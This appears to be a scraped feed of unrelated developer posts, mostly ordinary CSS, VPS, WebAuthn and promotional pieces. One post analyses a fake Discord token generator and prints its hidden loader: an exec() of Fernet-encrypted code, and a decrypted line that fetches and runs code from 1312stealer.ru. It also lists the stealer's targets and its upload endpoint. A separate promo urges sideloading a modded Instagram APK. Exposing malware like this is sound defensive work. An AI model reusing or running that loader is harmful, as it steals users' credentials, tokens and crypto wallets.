Visit our [Discord Server](https://discord.gg/w28uK3cnmF) or [Telegram Channel](https://t.me/use_api) for any support questions and concerns.
We regularly post guides and tutorials on the [YouTube Channel](https://www.youtube.com/@midjourneyapi). | useapi |
1,881,849 | Two Powerful Techniques: CSS Resetting And Normalizing | by John Abraham In modern web development, CSS resetting and normalizing are two important... | 0 | 2024-06-09T06:14:17 | https://blog.openreplay.com/two-powerful-techniques--css-resetting-and-normalizing/ |
by [John Abraham](https://blog.openreplay.com/authors/john-abraham)
<blockquote><em>
In modern web development, CSS resetting and normalizing are two important techniques to achieve consistent styling across browsers. Ensuring proper styling consistency across several browsers is key to creating a seamless user experience. Inconsistent rendering can reduce user engagement and accessibility. Adequate styling enhances the aesthetic appeal and contributes to usability and brand perception. This article will explain both techniques so you can write better CSS.
</em?</blockquote>
<div style="background-color:#efefef; border-radius:8px; padding:10px; display:block;">
<hr/>
<h3><em>Session Replay for Developers</em></h3>
<p><em>Uncover frustrations, understand bugs and fix slowdowns like never before with <strong><a href="https://github.com/openreplay/openreplay" target="_blank">OpenReplay</a></strong> — an open-source session replay suite for developers. It can be <strong>self-hosted</strong> in minutes, giving you complete control over your customer data.</em></p>
<img alt="OpenReplay" style="margin-top:5px; margin-bottom:5px;" width="768" height="400" src="https://raw.githubusercontent.com/openreplay/openreplay/main/static/openreplay-git-hero.svg" class="astro-UXNKDZ4E" loading="lazy" decoding="async">
<p><em>Happy debugging! <a href="https://openreplay.com" target="_blank">Try using OpenReplay today.</a></em><p>
<hr/>
</div>
## What is CSS Reset?
CSS reset is a popular technique used in web development to override default browser styles. This aims to establish a consistent baseline for styling across different platforms. Its main purpose is to set standardized styles for [HTML elements](https://www.w3schools.com/html/html_elements.asp), which helps eliminate browser inconsistencies. This technique creates a more uniform and predictable appearance of web content across various browsers by neutralizing default styles such as margins, list styles, and padding. The technique aims to give developers greater control over the styling process.
It comes with its own set of libraries, such as [Eric Meyer's CSS reset](https://meyerweb.com/eric/tools/css/reset/) and [Yahoo's YUI reset](https://gist.github.com/marharyta/b03f13c12b1cb3bb1b468fc5c679dbee), to name a few. To go deeper:
- **Eric Meyer's CSS Reset:** This is one of the oldest and most influential reset stylesheets. It aims to normalize browser styles by removing default margins, padding, and other inconsistencies. Meyer's CSS Reset provides a thorough reset of styles, offering developers a clean slate to build upon.
- **Yahoo's YUI Reset:** It was created by Yahoo's engineering team to be part of the YUI library. This reset stylesheet resets styles for HTML elements to a consistent baseline. It focuses on neutralizing browser-specific styles while preserving certain default styles deemed essential for usability.
### Pros of CSS Reset
Introducing a CSS reset into your web development workflow will profoundly impact the manageability and consistency of your styling efforts. Let's have a look at some of its pros:
- **Consistency across browsers:** As mentioned, its primary purpose is to establish a consistent styling baseline across different browsers; this purpose serves as a benefit. By neutralizing browser-specific defaults, you can ensure your web pages look and behave similarly across various platforms.
- **Greater Control and Customizations:** It also empowers developers with greater control over the styling of HTML elements. By starting with a clean slate, developers can build stylesheets from scratch and tailor designs to meet specific project requirements without being constrained by browser defaults.
- **Streamlined Development Process:** Its Implementation can also help streamline the development process. This is done by providing a standardized starting point for styling. Instead of reinventing the wheel with each project, you can leverage existing reset sheets or customize yours to establish a consistent foundation for future projects. This helps to increase efficiency and scalability.
### Cons of CSS Reset
Despite its benefits, it also has a few cons that can challenge developers. These cons involve a learning curve, a slight potential for unintended consequences, and increased file sizes. Let's have a better look at these cons:
- **Potential for Unintended Consequences:** While it offers a ton of benefits, you must implement it with caution. Resetting default styles can have unintended consequences, such as unexpectedly altering the appearance or behavior of HTML elements. To avoid conflicts with existing styles, you must thoroughly test your designs across several browsers and devices.
- **Increased File Size:** Including a CSS reset file in a project increases the overall file size, which can impact load times, especially on slower mobile devices or connections.
- **Learning Curve:** Implementing this technique might be a challenge to developers who are less familiar with CSS specificity and inheritance. You'll need a proper understanding of the above to customize reset styles that align with project requirements and design preferences.
## What is Normalize.css?
Normalize.css was developed to standardize default styles across different browsers. Unlike traditional CSS resets, which aim to eliminate default styles, it takes a different approach by preserving useful default styles. It establishes a baseline set of styles that are consistent across different platforms and eradicates the differences in default browser styles to ensure a more uniform presentation of your web content.
The main difference between both techniques is their approach to handling default browser styles. CSS reset aims to erase all default styles and create an empty slate for styling; in the meantime, normalize.css preserves certain default styles and normalizes others. It achieves this by targeting specific HTML elements and applying styles to standardize their appearance across all platforms. Retaining certain essential default styles like [form element styles](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form), [line heights](https://www.w3schools.com/cssref/pr_dim_line-height.php), and [font size](https://developer.mozilla.org/en-US/docs/Web/CSS/font-size), it ensures that your web contents maintain a consistent look across different environments.
### Pros of Normalize.css
When considering its implementation, weighing all the benefits you'll be getting is important. Let's have a look at a few of them:
- **Preservation of Usable Defaults:** Unlike CSS reset, which erases all default styles, normalize.css preserves a few useful styles that contribute to accessibility.
- **Less Drastic Styling Changes:** This technique preserves certain default styles and produces less drastic changes to the appearance of web content. This is mostly beneficial for projects that aim to maintain a familiar user experience.
### Cons of Normalize.css
While its implementation addresses and solves many issues, it also has its drawbacks. Understanding its drawbacks is just as important as knowing its advantages so you can better maintain consistency across browsers more efficiently. Let's have a look at some of these cons:
- **Potential for Overlapping Styles:** While aiming to standardize default styles, there is a risk of overlapping styles or conflicts with existing stylesheets. You should carefully implement this in your project and ensure that it complements rather than overrides custom styles.
- **The Appearance of Unwanted Styles:** Normalize.css normalizes default browser styles, but there can be certain cases where some styles are not desired and may conflict with project-specific requirements.
<CTA_Middle_Basics />
## Benefits of Using CSS Reset or Normalize.css
In this section, we will explore the several benefits of implementing CSS reset or normalize.css into your projects. These techniques are crucial in establishing consistency, predictability, and maintainability in CSS styles across several browsers and devices. Let's dive into each of these benefits:
### Improved Browser Consistency
One of the primary benefits of utilizing both techniques is enhancing cross-browser consistency. All web browsers come with their own default stylesheets, which can lead to inconsistencies in how HTML elements are rendered across different browsers. The variation in default styles leads to websites appearing broken in different browsers. They both aim to ensure a more uniform appearance of web content. Regardless of the technique used, the end goal is the same: to establish a consistent styling baseline.
This improved cross-browser consistency not only enhances the visual coherence of web designs but also contributes to a more seamless user experience. Users can expect a consistent look or feel when accessing a website from different browsers or devices. This helps to build confidence and trust in the web app's reliability. In addition, it eliminates the need for developers to write browser-specific CSS hacks or workarounds, streamlining the development process and allowing for more efficient code maintenance over time.
### Reduced Browser Default Style Interference
Sometimes, the default style can interfere with the custom styles applied by a developer. This can lead to unexpected rendering differences and layout inconsistencies across various browsers. The interference usually occurs because all browsers try to apply their default styles to HTML elements, including colors, fonts, padding, and margins, which can conflict with the custom styles defined in CSS.
By implementing both techniques, you can reduce or eliminate the impact of browser default style interference. CSS reset achieves this by nullifying all default styles, thereby providing a blank canvas for developers to create and apply their styles without any interference from default styles. This helps to ensure that developers have total control over the appearance of HTML elements and, therefore, gives room for consistency. Normalize.css takes a slightly different approach by preserving useful default styles while normalizing inconsistencies across browsers. Rather than completely removing default styles, normalize.css targets specific HTML elements and applies styles to standardize their appearance.
### Easier Development and Maintenance of CSS Styles
They both significantly simplify developing and maintaining CSS styles for web development. When starting a project, developers often face the challenge of trying to ensure consistent styling across different browsers. You may spend a lot of time manually resetting or normalizing default browser styles for each HTML element. This already sounds like a tedious process and can leave room for errors. These techniques already provide standardized starting points for styling, reducing the need for manual adjustments.
They help improve team members' collaboration by establishing a standardized styling methodology. When a consistent styling baseline is in place, team members can easily understand and contribute to the CSS codebase, irrespective of their familiarity with specific browser default styles or styling conventions. This helps foster a more cohesive workflow and ensures that all the team members are on the same page, therefore adhering to the same styling standards and best practices.
### Increased Predictability in Styling Elements
Without these techniques, developers will face the unpredictability of default browser styles, which can vary significantly between different versions and browsers. This variation can make it challenging to predict how HTML elements will be displayed and how styles can be applied across various platforms. As a result of this, developers may experience unexpected rendering differences or styling quirks that can tarnish the user experience of their web app.
With the option to erase all default styles by using CSS reset, developers can now predictably apply their styling preferences across different browsers. Similarly, normalize.css establishes a consistent baseline that developers can rely on to achieve predictable results. The increased predictability not only simplifies the styling process for developers but also plays a key role in enhancing the user experience. Users who access the web app from different browsers or devices can expect a consistent look regardless of the underlying platform.
### Reduction of Styling Bugs
Styling [bugs](https://learningloop.io/glossary/bugs) often arise due to the differences in default browser styles, which can lead to rendering differences or layout inconsistencies across different platforms. Both techniques mitigate these issues by nullifying or normalizing default styles and bring about a more consistent rendering of web content.
The reduction in styling bugs streamlines the development process and improves code quality. Developers can write and test CSS code more confidently, knowing that their styles will behave consistently across different browsers and devices. This helps to reduce the time and effort that would be spent trying to debug styling issues, thereby allowing developers to focus on other issues like implementing features and refining the user interface.
## Conclusion
Throughout this article, we have discussed the benefits of using CSS reset or normalize.css in web development projects. We first defined both techniques and outlined their purpose in establishing consistent styling across browsers, emphasizing the significance of styling consistency and the challenges posed by default browser styles.
The choice between any of them depends on each web development project's specific needs and priorities. CSS reset offers a more comprehensive approach to resetting default styles, giving you complete control over styling. On the other hand, normalize.css offers a more nuanced approach by preserving useful defaults while normalizing inconsistencies, resulting in a more subtle impact on the appearance of web content. Either way, they both offer tons of benefits, should you choose to go with one.
| asayerio_techblog | |
1,881,847 | Exposing the Deception: Discord Account Generator with Hidden Malware | The Discord community has become a haven for malicious actors, whether it is through utilizing... | 0 | 2024-06-09T06:11:27 | https://dev.to/spring93/exposing-the-deception-discord-account-generator-with-hidden-malware-2l8n | cybersecurity, security, opensource | The Discord community has become a haven for malicious actors, whether it is through utilizing Discord's CDN server to spread malicious files with a trusted link, using Discord servers as C2 servers, and more.
More specifically, in this post I will be investigating one of many malicious "discord token generators" on the market, lets get started.
The software is advertised on GitHub as a open source project [here](https://github.com/imvast/Discord-Account-Creator).
If you head to the project description, you will see something quite weird. Open source a non-functional version of the project and advertise a paid version in that very same repository?
The shop is powered by [sell.app](https://sell.app) so the website itself does not seem malicious.
Now lets investigate the paid version download.
The download consists of a "genSetup.zip" file containing the following:
* config.toml: Empty configuration file, maybe it gets generated? (Hint: no it doesn't)
* key.txt: Seems like where the user is meant to enter their key. I am presuming one is given after making the purchase.
* requirements.txt: Consists of valid libraries that are required for this type of project.
* start.bat: Simply runs the python file, nothing special there.
Opening main.py we see the following (notice the imports)
After reviewing the rest of the code it is identical to the version the actor uploaded to GitHub. There does not seem to be any malicious code, well at least not malicious to the user. Discord says otherwise.
So where is this malicious code? We were given a non obfuscated python file.
You may have already noticed in the initial code screenshot, but the horizontal scrollbar informs us that there is much more content to see. And turns out the malicious code was on the very first line just padded with a bunch of white spacing.
Here is the revised code of the first few lines with the white spacing removed.
```
import requests ;import os;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'NxcOFeqTLbTifLJ5_7mxQXhutuWykVQw0M_plAqkbAk=').decrypt(b'gAAAAABmZSyv6BjNz3eMFn6xU8umUhs2m33n49caMlU4XWRcQBntQQ2jwtDuUA9pKNfT9wnyBx6TJoPUvA2vDVJkWV5KcAsR1Qtjmgsr-t1oenrd8TxXsDO6QGg2LcQlMonT1qgE8LZ4KDDIKlDupRJLqakR1ZkvtJctUKSMBFIP0Y2EmXjCFCgIzC-n4kJDmsiqJUiUMIcrEgP30SU4GU2lfwOhDyO95cv7MXdbZAyLbqfd0nwK2sU=')) # type: ignore
```
A sneaky one liner. Now we can begin examining the payload.
Firstly it installs the following libraries:
_These libraries were not listed in the provided "requirements.txt" file._
1. cryptography
2. fernet
3. requests
The `# type: ignore` is used to hide type errors.
We can clearly see that some encrypted code is being executed through the `exec()` function call.
Lucky for us, the fernet encryption key is right there in the code!
If the encryption key is provided in the source code, what is the point of encrypting the payload?
This is an evasive technique used to evade any signature based malware scanners.
Using the following code I wrote, I was able to see the decrypted code.
```
key = "NxcOFeqTLbTifLJ5_7mxQXhutuWykVQw0M_plAqkbAk="
message = "gAAAAABmZSyv6BjNz3eMFn6xU8umUhs2m33n49caMlU4XWRcQBntQQ2jwtDuUA9pKNfT9wnyBx6TJoPUvA2vDVJkWV5KcAsR1Qtjmgsr-t1oenrd8TxXsDO6QGg2LcQlMonT1qgE8LZ4KDDIKlDupRJLqakR1ZkvtJctUKSMBFIP0Y2EmXjCFCgIzC-n4kJDmsiqJUiUMIcrEgP30SU4GU2lfwOhDyO95cv7MXdbZAyLbqfd0nwK2sU="
fernet = Fernet(key)
decrypted_message = fernet.decrypt(message)
print(decrypted_message.decode())
```
And this is the output:
```
exec(requests.get('https://1312stealer.ru/paste?userid=1000000000').text.replace('<pre>','').replace('</pre>',''))
```
Yet another `exec()` function call, with the content from a website with the domain `1312stealer`. Not very subtle now.
Anyways, lets see this what is being executed.
Installing fernet again? And this time with a different system execution command? _Looks to me that someone has been using ctrl+c & ctrl+v too much_ 😂
Lets break this down.
The code is creating a file named "gruppe.py" in the APPDATA directory and writing code into it and finally executes it.
Judging by the length of the encrypted payload (trimmed in the screenshot above) it looks like the final payload.
Lets decrypt it using the same method used previously and see exactly what this malware is doing.
There is a targeted list of browsers, browser extensions, wallets, directories to search, file keywords, file extensions, and discord token paths.
Here are the specific targets:
**Browsers**
- Google Chrome
- Microsoft Edge
- Opera
- Opera GX
- Brave
- Yandex
- Firefox
**Browser Extensions**
- Authenticator
- Binance
- Bitapp
- BoltX
- Coin98
- Coinbase
- Core
- Crocobit
- Equal
- Ever
- ExodusWeb3
- Fewcha
- Finnie
- Guarda
- Guild
- HarmonyOutdated
- Iconex
- Jaxx
- Kaikas
- KardiaChain
- Keplr
- Liquality
- MEWCX
- MaiarDEFI
- Martian
- Math
- Metamask
- Metamask2
- Mobox
- Nami
- Nifty
- Oxygen
- PaliWallet
- Petra
- Phantom
- Pontem
- Ronin
- Safepal
- Saturn
- Slope
- Solfare
- Sollet
- Starcoin
- Swash
- TempleTezos
- TerraStation
- Tokenpocket
- Ton
- Tron
- Trust Wallet
- Wombat
- XDEFI
- XMR.PT
- XinPay
- Yoroi
- iWallet
**Wallets**
- Atomic
- Exodus
- Electrum
- Electrum-LTC
- Zcash
- Armory
- Bytecoin
- Jaxx
- Etherium
- Guarda
- Coinomi
**Target Paths**
- Desktop
- Documents
- Downloads
- OneDrive\\Documents
- OneDrive\\Desktop
**File Keywords**
- passw
- mdp
- mot_de_passe
- login
- secret
- account
- acount
- paypal
- banque
- metamask
- wallet
- crypto
- exodus
- discord
- 2fa
- code
- memo
- compte
- token
- backup
- seecret
Now let's further investigate into how they are being targeted.
Firstly, passwords and cookies are being retrieved from the browser and saved to "APPDATA\gruppe_storage". This storage folder is used to store all the details extracted from the victim's machine.
The passwords that are being retrieved are the ones that you choose to save (That popup that asks you to save password whenever you register to a site).
Browser extension folders are simply being zipped up whole, no specific data is being extracted from them.
Using regular expression, discord tokens are being retrieved from the local discord files. Along with tokens, discord connected data including phone numbers, emails, display name, user id are also being retrieved.
In case you are not aware, having access to an individual's discord token allows you to authenticate as them regardless of two factor authentication.
Files located in the Desktop or Documents directories are being filtered based on the target keywords and file extensions listed above.
Similar to browser extensions, wallet paths are also being zipped up whole.
Specific to the Atomic and Exodus wallets, malicious code retrieved from `https://1312stealer.ru/wallet` and `https://1312stealer.ru/wallet/atomic` are being written to the wallet directories which injects into the wallets capturing mnemonics and passwords.
Ten times. It calls the inject function 10 times. I guess they really want that in there 😂
Well now all that data is sitting in `APPDATA\grouppe_storage`, how do they get their hands on this data?
We can see that each file in `grouppe_storage` being passed as a parameter to the `upload_to_server()` function.
Here we can see the final location this data is being sent to: `1312stealer.ru/delivery`
Again being called 10 times. Maybe 10 is their lucky number 🤷
Thanks for reading :)
🌱
| spring93 |
1,881,846 | How to Optimize Performance of Linux VPS Server? | Increasing the performance of your Linux VPS is important to provide quick, dependable, and effective... | 0 | 2024-06-09T06:11:01 | https://dev.to/oliviageorgia98/how-to-optimize-performance-of-linux-vps-server-18pj | vps, vpshosting, linux | Increasing the performance of your Linux VPS is important to provide quick, dependable, and effective service. A properly optimized server can manage higher traffic, complete tasks quicker, and minimize downtime, leading to better user satisfaction and cost savings.
In this article, we will discuss the necessary steps and methods for optimizing a Linux VPS server, starting from the setup and configuration to advanced performance adjustments.
## Understanding Linux VPS Optimization
### Importance of Server Performance Tuning
Server performance tuning is crucial for maintaining a server environment that is both responsive and stable. When servers are optimized, they can handle heavier workloads, complete tasks faster, and offer users a superior experience.
Additionally, proper tuning aids in efficient resource management, ensuring that the server's CPU, memory, and storage are utilized effectively.
### Common Issues Affecting Linux VPS Performance
There are various factors that can affect how well a Linux VPS works, such as not allocating resources properly, using old software, having security weaknesses, and setting up servers inefficiently. The key to getting the best performance is to find and fix these problems.
## Initial Setup and Configuration
### Choosing the Right Linux Distribution
The performance of your VPS can be greatly influenced by the Linux distribution you choose. Some popular options for VPS are Ubuntu, CentOS, and Debian. Each distribution has its own advantages.
- Ubuntu: User-friendly, extensive documentation, and frequent updates.
- CentOS: Known for stability and long-term support, ideal for enterprise environments.
- Debian: Robust, secure, and well-suited for a variety of server tasks.
### Updating and Securing Your Server
It is important to regularly update your server with the latest patches and software versions to ensure security and performance.
Enhance security by setting up firewalls like UFW and iptables, turning off root login, and utilizing SSH keys for authentication.
## Resource Allocation for Optimal Performance
### Allocating CPU and Memory Resources
- **Understanding Resource Limits:** Keep track of your server's CPU and memory usage to grasp the resource limits and needs.
- **Techniques for Efficient Resource Allocation:** You can keep track of resource usage by utilizing tools such as htop or top. Additionally, you can set limits in your VPS control panel to avoid specific applications from consuming excessive resources.
### Utilizing SSD Storage
SSDs provide quicker data access, lower latency, and enhanced performance in comparison to traditional HDDs.
Upgrading to SSD Storage: Numerous VPS providers provide SSD storage choices. Moving your data to SSD storage can greatly improve your server's speed and dependability.
Explore the best [Linux VPS Hosting](https://www.accuwebhosting.com/vps-hosting/linux) provided by the accuwebhosting. They will understand your problem and provide you with a cost-effective web serving hosting solution for your business.
## Performance Tuning Techniques
### Optimizing Server Software
Optimize your web server (Apache, Nginx) by adjusting settings like worker processes and connection limits to enhance performance.
Database Tuning involves optimizing the performance of databases like MySQL and PostgreSQL. This can be achieved by adjusting various settings such as buffer sizes, query caching, and indexing.
### Caching Strategies
Utilize caching to lessen server strain and accelerate content distribution. Employ server-side caching tools such as Varnish and Memcached.
Improve performance by using caching tools and software. Varnish is excellent for HTTP caching, and Memcached can boost the performance of database queries.
## Network and Load Management
### Load Balancing Strategies
Load balancing is crucial because it helps distribute traffic among several servers, preventing overload and enhancing response times.
**Different Load Balancing Techniques:** Utilize techniques such as round-robin, least connections, or IP hash to effectively distribute traffic.
### Network Optimization
Enhance network settings to decrease delays and boost data transfer speed by adjusting TCP/IP configurations and utilizing network performance utilities.
Utilize tools such as iftop, nload, and iperf to observe and assess network performance.
## Monitoring and Maintenance
### Setting Up Monitoring Tools
Use Nagios and Zabbix to monitor server health and performance.
Key metrics to keep an eye on include CPU usage, memory consumption, disk I/O, and network traffic to spot any possible problems.
### Regular Maintenance Tasks
Regularly delete unnecessary files and applications to free up resources and enhance performance.
Regularly schedule performance audits to evaluate performance and pinpoint areas that need improvement.
## Advanced Optimization Techniques
### Kernel Tuning
Increase the performance of the Linux Kernel by adjusting kernel parameters. Modify kernel settings using tools such as sysctl.
### Using Containers and Virtualization
Docker and other container technologies offer advantages such as lightweight and isolated environments for applications, which enhance resource utilization and scalability.
Container management best practices involve implementing various strategies to ensure efficient management of containers. One such practice is utilizing orchestration tools like Kubernetes. These tools help in automating the deployment, scaling, and management of containers.
## Troubleshooting Performance Issues
### Identifying Bottlenecks
**Tools for identifying bottlenecks:** Utilize performance analysis tools such as perf, strace, and lsof to pinpoint performance issues.
Common Performance Problems and Solutions
**Quick Fixes for Frequent Issues:** Address common problems such as high CPU usage, memory leaks, and slow disk I/O with targeted solutions and optimizations.
## Conclusion
To make sure your Linux VPS server runs smoothly, you need to set it up correctly, allocate resources wisely, fine-tune performance, and maintain it regularly. By following these steps and keeping an eye on your server's performance, you can optimize its efficiency and reliability. If you want more information or help, think about reaching out to server optimization specialists.
| oliviageorgia98 |
1,881,844 | AI CSS Animations | I released a free AI CSS animation generator a month ago, my first software in the animation... | 0 | 2024-06-09T06:04:27 | https://dev.to/max_prehoda_9cb09ea7c8d07/ai-css-animations-21pl | webdev, design, css, ai | I released a free AI CSS animation generator a month ago, my first software in the animation space.
As a dev/designer, I was frustrated with the annoying & tedious process of writing keyframe animations. The lack of good tools available led me to build my own solution.
It’s finally real that it’s live and getting sales, what a wild feeling this is. Now, I'm reaching out to the Reddit community for feedback and beta testers to help refine things further :) I want to make this product as fully-featured and helpful as possible!
If you're interested in making some slick animations for your site, I'd love for you to try it out and share your thoughts! Looking for harsh criticisms here, don’t hold back!
[Aicssanimations.com](Aicssanimations.com) | max_prehoda_9cb09ea7c8d07 |
1,880,138 | Must Join Discord Servers for Developers 💬 | What is Discord? Discord is a community-based chatting app that allows you to connect... | 0 | 2024-06-09T06:00:00 | https://travislord.xyz/articles/must-join-discord-servers-for-developers | webdev, learning, beginners, javascript | ## What is Discord?
[Discord](https://discord.gg/) is a community-based chatting app that allows you to connect directly with people within your niche. Initially built for gamers, Discord has grown to serve a diverse user base, empowering connectivity across various interests and professions.
Among these are the developer communities. I say communities, plural because there are multiple sub-communities within Discord. One group might focus on web development, while another might concentrate on game development. Each sub-community provides a space for like-minded individuals to share knowledge, collaborate, and support each other.
Here are my top Discord servers to join as a developer. These communities offer valuable resources, support, and networking opportunities for developers of all levels. Whether you’re looking to improve your coding skills, collaborate on projects, or simply enjoy some programming humor, these servers have something for everyone:
* [Little Software Planet](https://discord.gg/hFZFC8zy)
* [Programmer’s Hangout](https://discord.gg/programming)
* [Devcord](https://discord.gg/devcord)
* [The Coding Den](https://discord.gg/code)
* [SpeakJS](https://discord.com/invite/dAF4F28)
* [CodeSupport](https://discord.gg/codesupport-240880736851329024)
* [Nodeiflux](https://discord.com/invite/y5ksVAS)
* [TensorFlow](https://discord.com/invite/64MVzQX)
* [Programmer Humor](https://discord.com/invite/rph)
Feel free to share your top Discord servers in the comments below 👇
Before you go please consider supporting by giving a **Hart, Share,** or **Follow**! 👏
**Visit My Site & Projects**: **[Travis Lord](https://travislord.xyz/)** | **[Projects](https://travislord.xyz/projects)** | **[About me](https://travislord.xyz/about)**
**Follow:** **[DEV](https://dev.to/lilxyzz)** | **[GitHub](https://github.com/lilxyzz)** | **[Linkedin](https://au.linkedin.com/in/travis-lord-16b947108/)** | **[Medium](https://medium.com/@travis.lord)**
| lilxyzz |
1,880,333 | Passkeys: How to work with CBOR & COSE | Introduction Passkeys have emerged as a robust, passwordless authentication standard.... | 0 | 2024-06-09T06:00:00 | https://www.corbado.com/blog/webauthn-pubkeycredparams-credentialpublickey | ## Introduction
Passkeys have emerged as a robust, passwordless authentication standard. Central to this technology is public-key cryptography, implemented within the WebAuthn protocol. This article dives into the key components of WebAuthn, including pubKeyCredParams, [CBOR](https://www.corbado.com/glossary/cbor), COSE, and how they interact in the creation, extraction, and management of passkeys.
---
**_[Read Full Blog Post Here](https://www.corbado.com/blog/webauthn-pubkeycredparams-credentialpublickey)_**
---
## Public-Key Cryptography in WebAuthn
### What is Public-Key Cryptography?
Public-key cryptography, also known as asymmetric cryptography, uses two distinct keys: a public key for encryption and a private key for decryption. This dual-key system ensures data confidentiality and integrity by allowing secure message encryption and digital signature verification.
### Common Public-Key Cryptography Algorithms:
- **RSA:** Widely used, high storage requirements, less efficient on mobile.
- **DSA:** Digital signatures, moderate efficiency.
- **ECDSA:** Increasingly popular for secure transactions, high efficiency on mobile.
- **EdDSA:** Optimal for speed and security, minimal storage needs.
Elliptic Curve Cryptography (ECC), including ECDSA and EdDSA, is particularly advantageous for mobile devices due to its smaller key sizes, which enhance storage efficiency, performance, and battery life.
## WebAuthn and Public-Key Cryptography
### WebAuthn: Overview
WebAuthn is a security protocol that leverages public-key cryptography to enable secure, passwordless authentication. It supports various authentication methods, including biometrics and hardware security keys.
## Key Components:
- **pubKeyCredParams:** Defines the cryptographic algorithms supported by the Relying Party during the creation of key pairs.
- **credentialPublicKey:** Used to extract the public key from the attestationObject provided by the authenticator.
## Choosing the Right pubKeyCredParams
## Relevant COSE Algorithms for WebAuthn:
WebAuthn relies on COSE ([CBOR](https://www.corbado.com/glossary/cbor) Object Signing and Encryption) Algorithm IDs to specify supported cryptographic algorithms. Key algorithms include:
- RS256: Widely supported, uses RSA with SHA-256.
- ES256: Uses ECDSA with SHA-256, highly efficient.
- EdDSA: Recommended for enhanced security, though less commonly supported.
To ensure broad compatibility, it's advisable to support both RS256 and ES256.
### Defining pubKeyCredParams:
Configuring pubKeyCredParams involves specifying the algorithm IDs and types in the [PublicKeyCredentialCreationOptions](https://www.corbado.com/glossary/publickeycredentialcreationoptions). For example:
```javascript
const publicKeyCredentialCreationOptions = {
challenge: "*",
rp: {
name: "Corbado",
id: "corbado.com",
},
user: {
id: "user-X",
name: "user@corbado.com",
displayName: "Corbado Name",
},
pubKeyCredParams: [
{ alg: -7, type: "public-key" }, // ES256
{ alg: -257, type: "public-key" }, // RS256
],
authenticatorSelection: {
authenticatorAttachment: "platform",
requireResidentKey: true,
}
};
```
## Extracting the Public Key from attestationObject
### Understanding attestationObject:
The [attestationObject](https://www.corbado.com/glossary/attestation) contains data necessary for the Relying Party to verify the origin and integrity of the public key credential. It is encoded in [CBOR](https://www.corbado.com/glossary/cbor) format and includes information such as the authenticator data and the attestation statement.
## Decoding and Parsing:
Decoding the [attestationObject](https://www.corbado.com/glossary/attestation) involves parsing the [CBOR](https://www.corbado.com/glossary/cbor) data to extract the credentialPublicKey. Using established [WebAuthn libraries](https://www.corbado.com/blog/webauthn-server-implementation) can simplify this process, ensuring accurate and secure extraction and validation of the public key.
## COSE Key Format:
COSE Keys, built on [CBOR](https://www.corbado.com/glossary/cbor) maps, provide a structured way to represent keys. They include attributes specific to the cryptographic algorithm used, such as the modulus and exponent for RSA keys or the elliptic curve coordinates for ECDSA keys.
## Conclusion
Understanding WebAuthn's use of pubKeyCredParams and credentialPublicKey, alongside the roles of [CBOR](https://www.corbado.com/glossary/cbor) and COSE, is crucial for implementing secure, efficient, and future-proof authentication systems. By leveraging the right cryptographic algorithms and well-tested libraries, developers can ensure robust security and optimal performance for passkey authentication.
Read our [detailed blog post here](https://www.corbado.com/blog/webauthn-pubkeycredparams-credentialpublickey). | vdelitz | |
1,881,843 | Instander APK: Unlocking a Better Instagram Experience | Instagram is one of the most popular social media platforms globally, but its standard app doesn't... | 0 | 2024-06-09T05:55:25 | https://dev.to/instanderlive/instander-apk-unlocking-a-better-instagram-experience-156a | Instagram is one of the most popular social media platforms globally, but its standard app doesn't offer all the features that users crave. For those looking to enhance their Instagram experience, [Instander APK is a fantastic option.](https://instanderlive.com) This modified version of Instagram provides a range of additional features that make using the app more enjoyable and customizable.
**
**
Instander APK is a modded version of the official Instagram app. It is designed to offer users more control and functionality than the standard app. Developed by the Instander team, this APK allows users to access exclusive features that are not available on the official Instagram app.
**Key Features of Instander APK**
Download Photos and Videos: One of the most sought-after features is the ability to download photos, videos, and stories directly to your device. This is perfect for saving your favorite content for offline viewing.
**Ad-Free Experience:** Tired of seeing ads interrupting your scrolling? Instander APK removes ads, providing a cleaner and more enjoyable user experience.
**Enhanced Privacy Options:** Instander offers additional privacy settings, such as hiding view status in stories, disabling typing status in Direct Messages, and preventing others from knowing when you’ve read their messages.
**Higher Quality Media Uploads:** With Instander, you can upload photos and videos in higher quality, ensuring that your content looks its best.
**Customization Options:** Personalize your Instagram interface with various themes and customization options. You can change the look and feel of the app to match your style.
**How to Download and Install Instander APK?**
Downloading and installing Instander APK is straightforward. However, since it’s not available on official app stores like Google Play, you need to download it from a trusted source. Here's how you can do it:
Download the APK File: Visit Instanderlive.com to download the latest version of Instander APK. Ensure that you download it from this trusted source to avoid any security risks.
**Enable Unknown Sources:** Before installing the APK, go to your device’s settings, navigate to security, and enable "Unknown Sources." This allows your device to install apps from sources other than the Google Play Store.
**Install the APK:** Locate the downloaded APK file in your device’s file manager and tap on it to start the installation process. Follow the on-screen instructions to complete the installation.
Log In: Once installed, open the Instander app and log in with your Instagram credentials. You can now enjoy all the enhanced features that Instander APK offers.
**Why Choose Instander APK?**
Instander APK stands out due to its wide range of additional features that significantly improve the user experience. Whether you're looking to download media, enjoy an ad-free interface, or customize your app, Instander has you covered. Plus, the enhanced privacy options give you more control over your online presence.
**Conclusion**
For those who love Instagram but wish it had more features, Instander APK is the perfect solution. By visiting Instanderlive.com and downloading the APK, you can unlock a superior Instagram experience tailored to your needs. Give Instander a try and see how it transforms your social media interactions.
| instanderlive | |
1,881,840 | Test | $x+y = 5$ $$ \int_{a}^{b} f(x) \, dx $$ | 0 | 2024-06-09T05:43:31 | https://dev.to/rijalghodi/test-5ggc | $x+y = 5$
$$
\int_{a}^{b} f(x) \, dx
$$ | rijalghodi | |
1,881,781 | 49. Group Anagrams | Topic: Arrays & Hashing Soln 1 (dictionary): create a dictionary iterate through the string of... | 0 | 2024-06-09T05:41:36 | https://dev.to/whereislijah/49-group-anagrams-2fhg | Topic: Arrays & Hashing
Soln 1 (dictionary):
- create a dictionary
- iterate through the string of wordsa
- sort the word alphabetically
- if the key[sorted word] is not in the dictionary then add it and use the original word as its value
- else append the word to the already existing key
```
word_dict = {}
for word in strs:
sorted_word = ''.join(sorted(word))
if sorted_word not in word_dict:
word_dict[sorted_word] = [word]
else:
word_dict[sorted_word].append(word)
return list(word_dict.values())
```
Soln 2 (tuples + defaultdict):
1. Initialize a Dictionary: Create an empty dictionary.
2. Iterate Through the List of Strings: Loop through each string in the input list.
3. Sort Each String and Convert to a Tuple: For each string, sort the characters and convert the sorted list to a tuple.
4. Use Tuple as Key and Append String as Value: Use the tuple as the key in the dictionary. Append the original string to the list corresponding to this key.
5. Return the Values of the Dictionary: Extract the values from the dictionary which are the groups of anagrams.
```
